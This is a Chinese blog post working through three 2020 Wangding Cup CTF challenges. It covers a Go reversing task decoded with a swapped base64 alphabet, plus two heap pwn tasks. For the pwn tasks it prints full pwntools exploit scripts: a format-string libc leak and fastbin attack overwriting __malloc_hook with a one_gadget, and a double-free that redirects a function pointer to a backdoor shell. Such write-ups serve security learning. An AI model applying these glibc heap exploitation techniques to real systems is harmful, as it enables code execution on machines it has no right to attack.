2020网鼎杯-第三场

Posted by nop on 2020-05-21
Words 2k In Total

If you don’t go into the water, you can’t swim in your life

文中所用到的程序文件:bin file

有幸拿到了今年网鼎杯第三场的几个题目,这里复现一下,感觉比起青龙组简单不少=_=

what

这道题目是一道逆向题,挺简单的。go语言的程序,以前没见到过,顺带记录一下

go语言ida是有插件来对函数名做处理的,不过这道题目用不上插件,直接看mian_mian函数。
函数不能直接查看伪代码,但是汇编也不复杂,大致逻辑还是能理清的。汇编代码中可以看到这么一段,根据后面的"please input the key: "可以猜测aNrkkahzmrqzaqq应该就是这里要求输入的key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:00000000004010FB                 sub     rsp, 168h
.text:0000000000401102 lea rbx, aCbdb2c89f6800e ; "cbdb2c89f6800e6c93e1c1e541e1a89758f45fd"...
.text:0000000000401109 mov [rsp+168h+flag.str], rbx
.text:000000000040110E mov [rsp+168h+flag.len], 60h
.text:0000000000401117 lea rbx, aNrkkahzmrqzaqq ; "nRKKAHzMrQzaqQzKpPHClX"
.text:000000000040111E mov [rsp+168h+pwd.str], rbx
.text:0000000000401123 mov [rsp+168h+pwd.len], 16h
.text:000000000040112C lea rbx, stru_4D5460
.text:0000000000401133 mov [rsp+168h+a.array], rbx
.text:0000000000401137 call runtime_newobject
.text:000000000040113C mov rbx, [rsp+168h+a.len]
.text:0000000000401141 mov [rsp+168h+&input], rbx
.text:0000000000401146 lea rbx, aPleaseInputThe ; "please input the key: "
.text:000000000040114D mov [rsp+168h+var_88], rbx
.text:0000000000401155 mov [rsp+168h+var_80], 16h

向后分析也可以发现它就是程序要求我们输入的key:

1
2
3
4
5
6
7
8
9
10
11
.text:0000000000401332                 mov     [rsp+168h+var_A8], rcx
.text:000000000040133A mov [rsp+168h+a.array], rcx
.text:000000000040133E mov [rsp+168h+var_A0], rax
.text:0000000000401346 mov [rsp+168h+a.len], rax
.text:000000000040134B mov rbp, [rsp+168h+pwd.str]
.text:0000000000401350 mov [rsp+168h+a.cap], rbp
.text:0000000000401355 mov [rsp+168h+_r2.array], rdx
.text:000000000040135A call runtime_eqstring ; 比对字符串
.text:000000000040135F movzx ebx, byte ptr [rsp+168h+_r2.len]
.text:0000000000401364 cmp bl, 0
.text:0000000000401367 jz loc_401569

看起来像是base64编码,不过直接尝试解码并不能成功。继续分析程序,发现程序在比对字符串之前调用了main_encode

1
2
3
4
5
6
.text:00000000004012C3                 mov     rsi, [rsp+168h+&input] ; src
.text:00000000004012C8 mov rcx, [rsi]
.text:00000000004012CB mov [rsp+168h+a.array], rcx
.text:00000000004012CF mov rcx, [rsi+8] ; _r1
.text:00000000004012D3 mov [rsp+168h+a.len], rcx
.text:00000000004012D8 call main_encode

跟到main_encode函数中去,发现似乎是base64的魔改版即换了码表:

1
2
3
4
.text:0000000000401029                 lea     rbx, aXyzfghi2Jhi345 ; "XYZFGHI2+/Jhi345jklmEnopuvwqrABCDKL6789"...
.text:0000000000401030 mov [rsp+70h+_r2.array], rbx
.text:0000000000401034 mov [rsp+70h+_r2.len], 40h
.text:000000000040103D call encoding_base64_NewEncoding

用这个码表尝试解码,成功得到key:

1
2
3
4
5
6
7
8
from base64 import b64decode

table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
t = 'XYZFGHI2+/Jhi345jklmEnopuvwqrABCDKL6789abMNWcdefgstOPQRSTUVxyz01'
table = str.maketrans(t, table)
key_en = 'nRKKAHzMrQzaqQzKpPHClX==' # 两个==用作填充,对结果无影响
key = key_en.translate(table)
print(b64decode(key))

得到key之后直接运行即可得到flag:

1
2
3
4
nop@nop-pwn:~/Desktop$ ./what
please input the key: What_is_go_a_A_H
flag{e252890b-4f4d-4b85-88df-671dab1d78f3}
nop@nop-pwn:~/Desktop$

yundun

程序保护基本全开:

1
2
3
4
5
6
7
nop@nop-pwn:~/Desktop$ checksec ./pwn
[*] '/home/nop/Desktop/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序里面用了很多循环嵌套,分析的时候感觉很麻烦,不过直接运行程序就可以搞清楚大致功能。

程序实际上是一个简单的shell外壳,有用的只有三种指令:

  1. vim: 新建堆块,数字1对应0x60大小的堆块,数字2对应0x30大小的堆块
  2. cat: 打印堆块内容
  3. rm : 删除对应堆块

程序漏洞点-yundun

  1. 输入堆块内容时使用scanf获取输入(长度为70),存在堆溢出

    1
    2
    3
    4
    5
    6
    7
    8
    format = (char *)malloc(0x30uLL);
    if ( format )
    {
    printf("> ", 50LL);
    v3 = format;
    _isoc99_scanf("%70s", format);
    puts("Done!");
    }
  2. 删除堆块时,free操作后指针未置零,存在UAF,但是每次申请堆块都是直接覆盖原先的指针,所以这里的UAF并没想到该怎么用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    if ( v10 == 0x31 )
    {
    if ( *(v5 - 16) )
    {
    puts(
    "---------------skYunDun v0.0.0---------------\n"
    "[!] Detected an heap leak!\n"
    "[!] Rolling back....");
    v5 = 0LL;
    format = 0LL;
    }
    else
    {
    free(v5);
    }
    }
    else if ( v10 == 0x32 )
    {
    free(format);
    }
  3. 输出0x30大小的堆块内容时存在格式化字符串漏洞,这个漏洞点最开始的时候没注意到,卡了很久=_=!

    1
    2
    3
    LABEL_27:
    printf(format, 50LL);
    putchar(10);

利用思路-yundun

因为开启了PIE,所以即使程序本身提供了后门函数我们也并不能劫持程序流程到后门函数,所以只能先想办法泄露地址。因为程序在输出较小堆块内容时直接使用printf,所以可以利用格式化字符串漏洞泄露一个地址:

1
2
3
4
5
6
7
8
9
    p.recvuntil('> ')
p.sendline('vim 2\n%p\ncat 2\n')
'''
[DEBUG] Received 0x38 bytes:
'------skVim v0.0.0------\n'
'> Done!\n'
'> > 0x7ff99912c963\n'
'> > '
'''

调试发现泄露的地址和_IO_2_1_stdin_相关:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────
RAX 0xfffffffffffffe00
RBX 0x7ff99912c8e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
RCX 0x7ff998e5f260 (__read_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x1
RDI 0x0
RSI 0x7ff99912c963 (_IO_2_1_stdin_+131) ◂— 0x12e790000000000a /* '\n' */ <<==== 泄露的地址
R8 0x7ff99912e780 (_IO_stdfile_1_lock) ◂— 0x0
R9 0x7ff999338700 ◂— 0x7ff999338700
R10 0x7ff999338700 ◂— 0x7ff999338700
R11 0x246
R12 0xa
R13 0x31
R14 0x7ff99912c964 (_IO_2_1_stdin_+132) ◂— 0x9912e79000000000
R15 0x7ff99912c8e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
RBP 0x7ff99912d620 (_IO_2_1_stdout_) ◂— 0xfbad2887
RSP 0x7ffdc5c21898 —▸ 0x7ff998de25e8 (_IO_file_underflow+328) ◂— cmp rax, 0
RIP 0x7ff998e5f260 (__read_nocancel+7) ◂— cmp rax, -0xfff

所以可以直接计算偏移得到libc:

1
2
3
4
5
6
7
_IO_2_1_stdin_ = int(p.recvuntil('\n',drop=True),16) - 131
log.success("_IO_2_1_stdin_ = %#x", _IO_2_1_stdin_)

libc = LibcSearcher('_IO_2_1_stdin_',_IO_2_1_stdin_)
libc_base = _IO_2_1_stdin_ - libc.dump('_IO_2_1_stdin_')
malloc_hook = libc_base + libc.dump('__malloc_hook')
log.success('libc_base = %#x, malloc_hook = %#x'%(libc_base, malloc_hook))

因为程序存在堆溢出漏洞,即我们利用0x30大小的堆溢出来覆写0x60大小的堆的FD指针完成Fastbin Attack分配得到一个任意地址的chunk。
这里打算通过写入one gadgetmalloc_hook完成攻击,所以我们需要分配一个堆块到malloc_hook附近:

1
2
3
4
p.recvuntil('> ')
p.sendline('vim 2')
payload = p64(0)*7 + p64(0x70) + p64(malloc_hook - 0x23)
p.sendline(payload)

之后向堆块中写入one gadget地址,完成攻击:

1
2
3
4
5
6
p.recvuntil('> > ')
p.sendline('vim 1\nbbbb\n')
p.recvuntil('> >')
p.sendline('vim 1\n')
payload = p64(0)*2 + '\x00'*3 + p64(one_gadget + libc_base)
p.sendline(payload)

完整exp-yundun

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='DEBUG')


p = process('./pwn')

p.recvuntil('> ')
p.sendline('vim 2\n%p\ncat 2\n')
p.recvuntil('> > ')
_IO_2_1_stdin_ = int(p.recvuntil('\n',drop=True),16) - 131
log.success('_IO_2_1_stdin_ = %#x',_IO_2_1_stdin_)

p.recvuntil('> > ')
p.sendline('vim 1\naaaa\n')
# pause()

libc = LibcSearcher('_IO_2_1_stdin_',_IO_2_1_stdin_)
libc_base = _IO_2_1_stdin_ - libc.dump('_IO_2_1_stdin_')
malloc_hook = libc_base + libc.dump('__malloc_hook')
log.success('libc_base = %#x, malloc_hook = %#x'%(libc_base, malloc_hook))
# pause()

one_gadget = 0xf02a4

p.recvuntil('> ')
p.sendline('rm 1')
p.recvuntil('> ')
p.sendline('rm 2')
# pause()

p.recvuntil('> ')
p.sendline('vim 2')
payload = p64(0)*7 + p64(0x70) + p64(malloc_hook - 0x23)
p.sendline(payload)
# pause()

p.recvuntil('> > ')
p.sendline('vim 1\nbbbb\n')
p.recvuntil('> >')
p.sendline('vim 1\n')
payload = p64(0)*2 + '\x00'*3 + p64(one_gadget + libc_base)
p.sendline(payload)
# pause()

p.recvuntil('> > ')
p.sendline('vim 1')
p.interactive()

magic

程序只开启了canary和NX,并且存在后门函数:

1
2
3
4
5
int backdoor()
{
puts("no!!!!why you can use black magic ?!");
return system("/bin/sh");
}

运行可以知道是一个菜单题:

  1. learn magic: 申请堆块,程序会申请两个堆块
  2. forget magic: 释放堆块
  3. use magic: 打印堆块内容
  4. leave: 退出程序

程序漏洞点-magic

分析可以得到一个结构体:

1
2
3
4
00000000 chunk1          struc ; (sizeof=0x10, mappedto_6)
00000000 content_ptr dq ?
00000008 func_ptr dq ?
00000010 chunk1 ends

程序每一次申请堆块都会申请两个,一是用户自定义大小的堆块,是这个对快对应的“索引”堆块,即存储结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ptr[v0] = malloc(0x10uLL);
if ( ptr[index] )
{
*((_QWORD *)ptr[index] + 1) = puts_ptr;
printf("magic cost ?:");
read(0, (char *)&size + 4, 8uLL);
LODWORD(size) = atoi((const char *)&size + 4);
v1 = (void **)ptr[index];
*v1 = malloc((signed int)size);
if ( ptr[index] )
{
printf("name :", (char *)&size + 4);
read(0, *(void **)ptr[index], (unsigned int)size);
puts("You successfully learned this magic");
++index;
}

在释放堆块时并未对指针置零,存在UAF漏洞:

1
2
3
free(*(void **)ptr[v1]);
free(ptr[v1]);
puts("You successfully forgot this magic");

打印堆块内容时是使用结构体的func_ptr调用puts函数输出内容:

1
2
if ( ptr[v1] )
(*((void (__fastcall **)(void *, char *))ptr[v1] + 1))(ptr[v1], &buf);

利用思路-magic

存在后门函数,未开启PIE并且堆块中可以直接通过指针调用函数,思路就很明显了:

  1. Fastbin double free 分配一个内容块到“索引块”
  2. 覆盖func_ptr到后门函数
  3. UAF拿到shell

完整exp-magic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context(arch='amd64',os='linux',log_level='DEBUG')

sl = lambda data :p.sendline(str(data))
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()

def learn(size, content):
ru(':')
sl(1)
ru('?')
sl(size)
ru(':')
sl(content)

def forget(index):
ru(':')
sl(2)
ru(':')
sl(index)

def use(index):
ru(':')
sl(3)
ru(':')
sl(index)

p = process('./pwn')

learn(0x20,'A'*0x20) # id0
learn(0x20,'B'*0x20) # id1

forget(0)
forget(1)
forget(0)

pause()
learn(0x20, 'C'*0x20)

payload = flat([0, 0x400A0D])
learn(0x10,payload)

use(0)
itr()

You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.